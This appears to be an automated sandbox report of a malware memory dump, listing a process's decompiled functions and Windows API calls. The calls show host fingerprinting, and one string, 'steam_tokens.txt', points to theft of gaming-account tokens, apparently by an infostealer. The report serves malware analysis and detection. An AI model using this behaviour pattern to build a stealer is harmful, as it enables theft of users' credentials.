Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction ID: 0e2e6d3d2f445679f77a7861b9af8e0e8f55b174cdb9f0aa425208459b8dc1b3
Opcode Fuzzy Hash: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction Fuzzy Hash: 3DE08670945308FBE7205FA09C0AB4D76689B04B05F105056F708BA1E0C6B82501865C

Function 00411520 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00416FA0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
Part of subcall function 00416FA0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
Part of subcall function 00416FA0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
Part of subcall function 00416FA0: HeapAlloc.KERNEL32(00000000), ref: 004170AA

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 00417130: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
Part of subcall function 00417130: HeapAlloc.KERNEL32(00000000), ref: 0041714B

Part of subcall function 00417260: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,01422A98,00000000,?), ref: 00417292
Part of subcall function 00417260: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,01422A98,00000000,?), ref: 00417299

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 00417420: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
Part of subcall function 00417420: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DD0,00000000,?), ref: 00417457
Part of subcall function 00417420: GetLocalTime.KERNEL32(?,?,?,?,?,00420DD0,00000000,?), ref: 00417464
Part of subcall function 00417420: wsprintfA.USER32 ref: 00417493

Part of subcall function 004174D0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01423410,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
Part of subcall function 004174D0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,01423410,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
Part of subcall function 004174D0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01423410,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D

Part of subcall function 004175A0: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,01423410,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 004175D5

Part of subcall function 00417630: GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
Part of subcall function 00417630: LocalAlloc.KERNEL32(00000040,?), ref: 00417699
Part of subcall function 00417630: GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
Part of subcall function 00417630: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
Part of subcall function 00417630: LocalFree.KERNEL32(00000000), ref: 004177C2

Part of subcall function 00417820: GetSystemPowerStatus.KERNEL32(?), ref: 0041784D

GetCurrentProcessId.KERNEL32(00000000,?,01422B58,00000000,?,00420DF4,00000000,?,00000000,00000000,?,014235C0,00000000,?,00420DF0,00000000), ref: 00411B8E

Part of subcall function 00418F10: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
Part of subcall function 00418F10: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
Part of subcall function 00418F10: CloseHandle.KERNEL32(00000000), ref: 00418F4F

Part of subcall function 004178A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
Part of subcall function 004178A0: HeapAlloc.KERNEL32(00000000), ref: 004178DE
Part of subcall function 004178A0: RegOpenKeyExA.KERNEL32(80000002,0141AF28,00000000,00020119,?), ref: 004178FE
Part of subcall function 004178A0: RegQueryValueExA.KERNEL32(?,01422DD8,00000000,00000000,000000FF,000000FF), ref: 0041791F

Part of subcall function 00417A00: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417A69
Part of subcall function 00417A00: GetLastError.KERNEL32 ref: 00417A78

Part of subcall function 00417970: GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
Part of subcall function 00417970: wsprintfA.USER32 ref: 004179B6

Part of subcall function 00417BA0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01423608,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
Part of subcall function 00417BA0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,01423608,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
Part of subcall function 00417BA0: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C12
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C20
Part of subcall function 00417BA0: wsprintfA.USER32 ref: 00417C4C

Part of subcall function 00418260: CreateDCA.GDI32(0141AB20,00000000,00000000,00000000), ref: 00418295
Part of subcall function 00418260: GetDeviceCaps.GDI32(?,00000008), ref: 004182A4
Part of subcall function 00418260: GetDeviceCaps.GDI32(?,0000000A), ref: 004182B3
Part of subcall function 00418260: ReleaseDC.USER32(00000000,?), ref: 004182C2
Part of subcall function 00418260: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
Part of subcall function 00418260: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DF8,00000000,?), ref: 004182D6
Part of subcall function 00418260: wsprintfA.USER32 ref: 004182F0

Part of subcall function 00417C90: EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000001), ref: 00417CF4

Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,01416838,00000000,00020019,00000000,004205A6), ref: 00417E44

Part of subcall function 00417DC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
Part of subcall function 00417DC0: wsprintfA.USER32 ref: 00417EF9
Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B

Part of subcall function 00418120: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Part of subcall function 00418120: Process32First.KERNEL32(?,00000128), ref: 0041817E
Part of subcall function 00418120: Process32Next.KERNEL32(?,00000128), ref: 00418193
Part of subcall function 00418120: FindCloseChangeNotification.KERNEL32(?), ref: 00418201

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041216B

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$Process$Alloc$wsprintf$NameOpenlstrcpy$InformationLocal$CapsCloseCreateCurrentDeviceEnumInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ChangeComputerDefaultDevicesDirectoryDisplayErrorFileFindFirstFreeGlobalHandleLastLogicalMemoryModuleNextNotificationPowerProcessorQueryReleaseSnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 327943442-0
Opcode ID: 1725f415b6d02ac6fa083467293a4c97ec229be5050fbf955f20cd084a202adc
Instruction ID: a9f6d0abc10a802bc737c54d14ff6b9d5e6ee0272f4c656d6212d3eaa4757419
Opcode Fuzzy Hash: 1725f415b6d02ac6fa083467293a4c97ec229be5050fbf955f20cd084a202adc
Instruction Fuzzy Hash: 8472A071851018AACB19FB91DC96EDEB33CAF24314F5042DFB51762051EF782B98CB6A

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction ID: a97aeec014860b7bcefe5a819602e0a11eb2ce5ea612e9d10357849f9a661301
Opcode Fuzzy Hash: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction Fuzzy Hash: 3E213174A04208EFEB04CF89D544BAEBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 00406D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction ID: 456806d1e879ecad470b616e27b80e03465aa0a519357bc85acbc9acecad2077
Opcode Fuzzy Hash: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction Fuzzy Hash: 116127B4900209DFCB14DF94E944BEEB7B0BB48304F1185AAE80677380D779AEA5DF95

Function 00414BE0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,0141AB80,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(00000000,00000000,00420AB3,?,?,?,?,?,?,00415BEB,?), ref: 00414C0A

Strings

steam_tokens.txt, xrefs: 00414C1F

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 120a78b942200e417be762f6b949b9724b575e34ca621250f0dd76198ecdb917
Instruction ID: 43ba9c4e7b772c09295c3d1ddd3f4580462a4fb142283e9dc1187fbec7936fd0
Opcode Fuzzy Hash: 120a78b942200e417be762f6b949b9724b575e34ca621250f0dd76198ecdb917
Instruction Fuzzy Hash: 48F01271D1110876CB04F7B2EC579ED733CAE54358F90426EF41662092EF78665886AB

Function 00417970 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
wsprintfA.USER32 ref: 004179B6

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction ID: e5f7882cf5308591a3a92d8d4ad10ccbd8a019f3ce2acafa6204cd8ee8253483
Opcode Fuzzy Hash: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction Fuzzy Hash: 2DF0C2B1A00618EBCB10CF88ED45FAAB7BDFB08724F50066AF50492280D7785904CB94

Function 0040B370 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040B820
lstrlenA.KERNEL32(00000000), ref: 0040B834

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmpmemset
String ID:
API String ID: 4023347672-0
Opcode ID: cb17c8205bf5f21648334730405b176066157aa3d3303cbc0751ca4b66dd21cc
Instruction ID: 12fecfe212cb7392b3f17e260ebd7fbbf5924c22592aec839546a7360daeb2af
Opcode Fuzzy Hash: cb17c8205bf5f21648334730405b176066157aa3d3303cbc0751ca4b66dd21cc
Instruction Fuzzy Hash: 5DE12272911118ABCB14EBA1CC96EEE7339BF14314F40415EF507721A1EF786B98CB6A

Function 0040AD70 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040AFEA
lstrlenA.KERNEL32(00000000), ref: 0040AFFE

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 7598662d9a06a987938f384bd1053b7c0df6dec26f5a4bcaaecda882f76019a9
Instruction ID: 4b138641442dd51730d9762ac92e0d5652ebadbf156882a2c3fe3545aa946475
Opcode Fuzzy Hash: 7598662d9a06a987938f384bd1053b7c0df6dec26f5a4bcaaecda882f76019a9
Instruction Fuzzy Hash: 98915572911108ABCF14FBA1DC96EEE7339AF54314F40416EF40772191EF786A98CB6A

Function 0040B0B0 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040B2AE
lstrlenA.KERNEL32(00000000), ref: 0040B2C2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
